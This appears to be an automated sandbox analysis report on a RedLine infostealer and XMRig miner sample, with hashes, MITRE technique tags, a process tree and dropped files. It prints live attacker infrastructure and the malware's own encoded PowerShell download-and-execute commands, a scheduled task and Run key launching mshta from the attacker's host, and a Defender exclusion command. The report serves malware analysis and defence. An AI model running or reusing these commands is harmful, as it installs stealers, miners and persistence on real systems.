redline | 6a76080cc3b34c768275c7409513aa8870b73d37fbdbe4a50ba4e14f026976f6

Analysis

max time kernel
150s
max time network
134s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
05-01-2023 06:52

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General

Target

file.exe
Size

35KB
MD5

d99d4989355a51b4de84df9f5eec9122
SHA1

aff7b79038862d65d22c64b228b64c945f415e0d
SHA256

6a76080cc3b34c768275c7409513aa8870b73d37fbdbe4a50ba4e14f026976f6
SHA512

d81ef4edd11bf9d9facd4633874e0d12d6c4d8451d6813ef1bcb2c58843c2220a6248b6e627e03dbd2bee1edda5a06cc31029fcb6f000288bca8e129ce389d86
SSDEEP

768:0WhNNkg4XVa0V+jCnksy4r/wOPpdwMNhghy0qt:0Wh0FXVa01c4kmTghy0w

Score

10^/10

redline xmrig $infostealer miner persistence spyware

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.194/go.png

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://62.204.41.194/F1.exe

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.194/me.png

Extracted

Family

redline

Botnet

31.41.244.135:19850

Attributes

auth_value
66623f79e2af33286760f5dd6c4262dc

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/1728-177-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/1728-178-0x000000014036EAC4-mapping.dmp	xmrig
behavioral2/memory/1728-179-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/1728-180-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/1728-184-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/1728-194-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

4 3300 powershell.exe
5 3436 powershell.exe
6 4660 powershell.exe
8 3300 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

NoSleep.exeOneDrive.exe

pid process

1980 NoSleep.exe
3556 OneDrive.exe
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

flow	pid	process
4	3300	powershell.exe
5	3436	powershell.exe
6	4660	powershell.exe
8	3300	powershell.exe

pid	process
1980	NoSleep.exe
3556	OneDrive.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta http://62.204.41.194/c.html"	powershell.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

7 ipinfo.io

flow	ioc
7	ipinfo.io

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.execonhost.exe

description	pid	process	target process
PID 4660 set thread context of 1836	4660	powershell.exe	RegSvcs.exe
PID 4128 set thread context of 1728	4128	conhost.exe	conhost.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

112 schtasks.exe

pid	process
112	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.execonhost.exepowershell.execonhost.exeRegSvcs.execonhost.exe

pid	process
3300	powershell.exe
3436	powershell.exe
4660	powershell.exe
4868	powershell.exe
3436	powershell.exe
3300	powershell.exe
4868	powershell.exe
4660	powershell.exe
3128	conhost.exe
4556	powershell.exe
4556	powershell.exe
4128	conhost.exe
1836	RegSvcs.exe
1836	RegSvcs.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

668

pid	process
668

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.execonhost.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeDebugPrivilege	3436	powershell.exe
Token: SeDebugPrivilege	4660	powershell.exe
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	3128	conhost.exe
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeIncreaseQuotaPrivilege	4556	powershell.exe
Token: SeSecurityPrivilege	4556	powershell.exe
Token: SeTakeOwnershipPrivilege	4556	powershell.exe
Token: SeLoadDriverPrivilege	4556	powershell.exe
Token: SeSystemProfilePrivilege	4556	powershell.exe
Token: SeSystemtimePrivilege	4556	powershell.exe
Token: SeProfSingleProcessPrivilege	4556	powershell.exe
Token: SeIncBasePriorityPrivilege	4556	powershell.exe
Token: SeCreatePagefilePrivilege	4556	powershell.exe
Token: SeBackupPrivilege	4556	powershell.exe
Token: SeRestorePrivilege	4556	powershell.exe
Token: SeShutdownPrivilege	4556	powershell.exe
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeSystemEnvironmentPrivilege	4556	powershell.exe
Token: SeRemoteShutdownPrivilege	4556	powershell.exe
Token: SeUndockPrivilege	4556	powershell.exe
Token: SeManageVolumePrivilege	4556	powershell.exe
Token: 33	4556	powershell.exe
Token: 34	4556	powershell.exe
Token: 35	4556	powershell.exe
Token: 36	4556	powershell.exe
Token: SeIncreaseQuotaPrivilege	4556	powershell.exe
Token: SeSecurityPrivilege	4556	powershell.exe
Token: SeTakeOwnershipPrivilege	4556	powershell.exe
Token: SeLoadDriverPrivilege	4556	powershell.exe
Token: SeSystemProfilePrivilege	4556	powershell.exe
Token: SeSystemtimePrivilege	4556	powershell.exe
Token: SeProfSingleProcessPrivilege	4556	powershell.exe
Token: SeIncBasePriorityPrivilege	4556	powershell.exe
Token: SeCreatePagefilePrivilege	4556	powershell.exe
Token: SeBackupPrivilege	4556	powershell.exe
Token: SeRestorePrivilege	4556	powershell.exe
Token: SeShutdownPrivilege	4556	powershell.exe
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeSystemEnvironmentPrivilege	4556	powershell.exe
Token: SeRemoteShutdownPrivilege	4556	powershell.exe
Token: SeUndockPrivilege	4556	powershell.exe
Token: SeManageVolumePrivilege	4556	powershell.exe
Token: 33	4556	powershell.exe
Token: 34	4556	powershell.exe
Token: 35	4556	powershell.exe
Token: 36	4556	powershell.exe
Token: SeIncreaseQuotaPrivilege	4556	powershell.exe
Token: SeSecurityPrivilege	4556	powershell.exe
Token: SeTakeOwnershipPrivilege	4556	powershell.exe
Token: SeLoadDriverPrivilege	4556	powershell.exe
Token: SeSystemProfilePrivilege	4556	powershell.exe
Token: SeSystemtimePrivilege	4556	powershell.exe
Token: SeProfSingleProcessPrivilege	4556	powershell.exe
Token: SeIncBasePriorityPrivilege	4556	powershell.exe
Token: SeCreatePagefilePrivilege	4556	powershell.exe
Token: SeBackupPrivilege	4556	powershell.exe
Token: SeRestorePrivilege	4556	powershell.exe
Token: SeShutdownPrivilege	4556	powershell.exe
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeSystemEnvironmentPrivilege	4556	powershell.exe
Token: SeRemoteShutdownPrivilege	4556	powershell.exe
Token: SeUndockPrivilege	4556	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

conhost.exe

pid	process
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

conhost.exe

pid	process
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe
1728	conhost.exe

Suspicious use of WriteProcessMemory 46 IoCs

Processes:

file.exepowershell.exepowershell.exeNoSleep.execonhost.exeOneDrive.exepowershell.execonhost.exe

description	pid	process	target process
PID 2168 wrote to memory of 3300	2168	file.exe	powershell.exe
PID 2168 wrote to memory of 3300	2168	file.exe	powershell.exe
PID 2168 wrote to memory of 3436	2168	file.exe	powershell.exe
PID 2168 wrote to memory of 3436	2168	file.exe	powershell.exe
PID 2168 wrote to memory of 4660	2168	file.exe	powershell.exe
PID 2168 wrote to memory of 4660	2168	file.exe	powershell.exe
PID 2168 wrote to memory of 4868	2168	file.exe	powershell.exe
PID 2168 wrote to memory of 4868	2168	file.exe	powershell.exe
PID 3300 wrote to memory of 112	3300	powershell.exe	schtasks.exe
PID 3300 wrote to memory of 112	3300	powershell.exe	schtasks.exe
PID 3436 wrote to memory of 1980	3436	powershell.exe	NoSleep.exe
PID 3436 wrote to memory of 1980	3436	powershell.exe	NoSleep.exe
PID 1980 wrote to memory of 3128	1980	NoSleep.exe	conhost.exe
PID 1980 wrote to memory of 3128	1980	NoSleep.exe	conhost.exe
PID 1980 wrote to memory of 3128	1980	NoSleep.exe	conhost.exe
PID 3128 wrote to memory of 4556	3128	conhost.exe	powershell.exe
PID 3128 wrote to memory of 4556	3128	conhost.exe	powershell.exe
PID 3556 wrote to memory of 4128	3556	OneDrive.exe	conhost.exe
PID 3556 wrote to memory of 4128	3556	OneDrive.exe	conhost.exe
PID 3556 wrote to memory of 4128	3556	OneDrive.exe	conhost.exe
PID 4660 wrote to memory of 1836	4660	powershell.exe	RegSvcs.exe
PID 4660 wrote to memory of 1836	4660	powershell.exe	RegSvcs.exe
PID 4660 wrote to memory of 1836	4660	powershell.exe	RegSvcs.exe
PID 4660 wrote to memory of 1836	4660	powershell.exe	RegSvcs.exe
PID 4660 wrote to memory of 1836	4660	powershell.exe	RegSvcs.exe
PID 4660 wrote to memory of 1836	4660	powershell.exe	RegSvcs.exe
PID 4660 wrote to memory of 1836	4660	powershell.exe	RegSvcs.exe
PID 4660 wrote to memory of 1836	4660	powershell.exe	RegSvcs.exe
PID 4128 wrote to memory of 3544	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 3544	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 3544	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 1728	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 1728	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 1728	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 1728	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 1728	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 1728	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 1728	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 1728	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 1728	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 1728	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 1728	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 1728	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 1728	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 1728	4128	conhost.exe	conhost.exe
PID 4128 wrote to memory of 1728	4128	conhost.exe	conhost.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2168

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBnAG8ALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3300

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "OneDrive Standalone Update Task - S - 1 - 5 - 21 - 3301851721 - 4018334294 - 377670162 - 1001" /sc ONLOGON /tr "mshta http://62.204.41.194/c.html " /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:112

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAG8AUwBsAGUAZQBwAC4AZQB4AGUAIgANAAoAJABXAGUAYgBGAGkAbABlACAAPQAgACIAaAB0AHQAcAA6AC8ALwA2ADIALgAyADAANAAuADQAMQAuADEAOQA0AC8ARgAxAC4AZQB4AGUAIgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVwBlAGIARgBpAGwAZQAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3436

C:\Users\Admin\AppData\Roaming\NoSleep.exe
"C:\Users\Admin\AppData\Roaming\NoSleep.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1980

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3128

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAbABoAG4AIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE8AbgBlAEQAcgBpAHYAZQBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlACIAJwApACAAPAAjAG0AeAAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuACkAIAA8ACMAbQB0AHUAdAAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdwAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAAIAAtAFIAdQBuAEwAZQB2AGUAbAAgACcASABpAGcAaABlAHMAdAAnACAALQBGAG8AcgBjAGUAIAA8ACMAbgB3AHEAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABOAG8AUwBsAGUAZQBwAC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE8AbgBlAEQAcgBpAHYAZQBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgADwAIwBlAHEAcwAjAD4AOwAgAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAA8ACMAdwBmAGkAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwA7AA=="
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQAnAA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBtAGUALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4660

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1836

C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3556

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4128

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe "cvxjxkjice"
3⤵
PID:3544

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe pjsnsurpv0 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZebSGUfj6Vuv+kPoPZ9FoidkTm/7TRz3Cxu5/LqhuwWCS2hvmHfyPTAWIo4zY5OcwjP+79VuJh5O5c9vMH8WB3WKocLPQQ3D/631f214VrDNh9z0jOLbJJ9YXALTSKeo3z0yqpo23wDcDd1T/hDfuDceoldVJQGMTDTCXN0Q0os5qQZpM/bbi7sbKmKkdCHj6mFIu02fq5LlHaQLCNyvHRzVgK320/ko7oR3JyhnmBQHtbZUpiFNPFJEf7lTC77qWxEJ3h4yjiCPgrTI6MoBbSgjAmpPlQgNd71RJ7lG0ikmSTeoT3CddgZH5TjpSuHbPN3ha82GVaI5+j+dJzAfNAaJfxYNDrhTxng1MpRAutdkSftro/iAbX8hcx7q/b7Qg7J3CyclBC4/Mwe/Jeo6Q9AKf6F7/3Yi99ifKM20LuEsFK/pU/n4DnNACnryf3RdME
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1728

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
Filesize
642B

MD5
0b4ce74a6163ae20974c8ba4fdd4f1fa

SHA1
3c645b8b4d9bd437e7f1f74c21304452245dba1c

SHA256
2267541e715084f5cda2c56fe4186d937b73a3bb8e31a5e87cdc351ab558d4e7

SHA512
d3dd26b2817f22f38acebe03f6487d01421dea27717ac352a03b1b4bfec990d80796458cf608aa25e932bb91cfeedd25d6ced51cf3e554fdc3a1164bc3e5805c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
042323759662130763b90102081537f5

SHA1
3cdbc496f7e7a1c512a808fbbe88e7f724b04153

SHA256
5820f07295975657fc430bb9a7e3f75849ac3b0def9b4edba24d5105e5eed61e

SHA512
6ee211d6264ab0ec505d6dbfb57d4778dce7818280c71dc6df58d2d051276242b6ea28615b7dd45f9dec0153b6d2aac5949aba1ee87f73f4bf1905f3e082070f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
042323759662130763b90102081537f5

SHA1
3cdbc496f7e7a1c512a808fbbe88e7f724b04153

SHA256
5820f07295975657fc430bb9a7e3f75849ac3b0def9b4edba24d5105e5eed61e

SHA512
6ee211d6264ab0ec505d6dbfb57d4778dce7818280c71dc6df58d2d051276242b6ea28615b7dd45f9dec0153b6d2aac5949aba1ee87f73f4bf1905f3e082070f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
0c9e4a5091153aad3afaf5372fbb07a0

SHA1
dbe1fc5ac93d241d51311f638d8a386f01bf25aa

SHA256
f88bdcf6352355427dc31af5f99817e7ead0349ba5b17e0dc5331ad424e7b6e4

SHA512
3e0811a82f7eb57c32e3eaeee734951c93ea3616476fa3e52ebb135de41ead7855db5539f991f6826568fc4d658fa7a266fdfe4e3840bdb9813005d6e7ee746e

Download Submit
C:\Users\Admin\AppData\Roaming\NoSleep.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
C:\Users\Admin\AppData\Roaming\NoSleep.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
